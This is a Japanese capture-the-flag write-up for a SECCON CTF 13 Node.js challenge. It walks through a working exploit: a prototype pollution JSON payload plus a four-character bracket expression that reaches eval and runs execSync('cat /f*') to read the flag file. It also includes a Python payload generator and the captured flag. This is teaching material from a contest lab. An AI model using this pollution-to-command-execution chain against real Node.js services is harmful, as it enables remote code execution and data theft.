- Source: SECCON CTF 13 Quals
- Author: Ark
ncで接続できるサーバーが提示される。ソースコードを見てみる。
index.js
#!/usr/local/bin/node
const readline = require("node:readline/promises");
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
const clone = (target, result = {}) => {
for (const [key, value] of Object.entries(target)) {
if (value && typeof value == "object") {
if (!(key in result)) result[key] = {};
clone(value, result[key]);
} else {
result[key] = value;
}
}
return result;
};
(async () => {
// Step 1: Prototype Pollution
const json = (await rl.question("Input JSON: ")).trim();
console.log(clone(JSON.parse(json)));
// Step 2: JSF**k with 4 characters
const code = (await rl.question("Input code: ")).trim();
if (new Set(code).size > 4) {
console.log("Too many :(");
return;
}
console.log(eval(code));
})().finally(() => rl.close());
Dockerfileを見る限り、flagのあるファイル名は分からない。
Dockerfile
FROM node:22.9.0-slim AS base
WORKDIR /app
COPY flag.txt .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
COPY --chmod=555 index.js run
FROM pwn.red/jail
COPY --from=base / /srv
ENV JAIL_TIME=30 JAIL_MEM=50M JAIL_CPU=100 JAIL_PIDS=10
要するに、任意のprototype pollution payloadを投げた後、4種類の文字だけでflagを読み取るという問題。
// Step 1: Prototype Pollution
const json = (await rl.question("Input JSON: ")).trim();
console.log(clone(JSON.parse(json)));
// Step 2: JSF**k with 4 characters
const code = (await rl.question("Input code: ")).trim();
if (new Set(code).size > 4) {
console.log("Too many :(");
return;
}
console.log(eval(code));
この問題であれば、関数の実行で(
,)
を使うことを考えると残り2文字は[
,]
でどうにかなりそう。
protorype pollutionはobjectのprototypeを(意図されていないものに)操作するもので、例えばこのコードではObject.hoge
の値を操作している。
Object.prototype['hoge'] = 1
let obj = {}
console.log(obj.hoge) // 1
そして、constructor
を使えば[]
からfunction
を取り出すことができ、function
の中に任意のコードを書いて実行することができる。さらにreturn eval
でeval関数を呼び出し、文字列をjavascriptのコードとして実行することもできる。
console.log([].constructor) // [Function: Array]
console.log([].constructor.constructor) // [Function: Function]
console.log([].constructor.constructor(console.log("hoge"))) // hoge
console.log([].constructor.constructor("return eval")()) // [Function: eval]
console.log([].constructor.constructor("return eval")()("console.log(\"fuga\")")) // fuga
この問題ではcat /f*
を実行して値を返したいので、最終的にこのコードを実行することを目標とする。
process.mainModule.require("child_process").execSync("cat /f*").toString()
ここで、javascriptは[]
を空文字列としても解釈する。すなわち、[][[]]
は[][""]
と等しい。これを用いればパズルの要領で[]
からflag読み出しのコードまで繋げることができる。
まず、難読化前のpayloadはこうなる。
[]["constructor"]["constructor"]("return eval")()("process.mainModule.require('child_process').execSync('cat /f*').toString()")
このpayloadを4種の文字で書けるようにObject
のprototypeを操作する。ただし、Object.constructor
は元からObject
に存在するため上書きできない。よって一番末尾に置く。
{
"__proto__": {
"process.mainModule.require('child_process').execSync('cat /f*').toString()": "constructor",
"return eval": "process.mainModule.require('child_process').execSync('cat /f*').toString()",
"": "return eval"
}
}
pythonにpayloadを生成してもらう。
import json
json_payload = json.dumps({
"__proto__": {
"process.mainModule.require('child_process').execSync('cat /f*').toString()": "constructor",
"return eval": "process.mainModule.require('child_process').execSync('cat /f*').toString()",
"": "return eval"
}
})
print(json_payload)
ret_eval = "[][[]]"
cmd = "[][[][[]]]"
constructor = "[][[][[][[]]]]"
js_payload = f"[][{constructor}][{constructor}]({ret_eval})()({cmd})"
print(js_payload)
最終的なpayloadはこうなる。
[][[][[][[][[]]]]][[][[][[][[]]]]]([][[]])()([][[][[]]])
このjsonとjavascript(?)を投げるとflagが得られた。
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}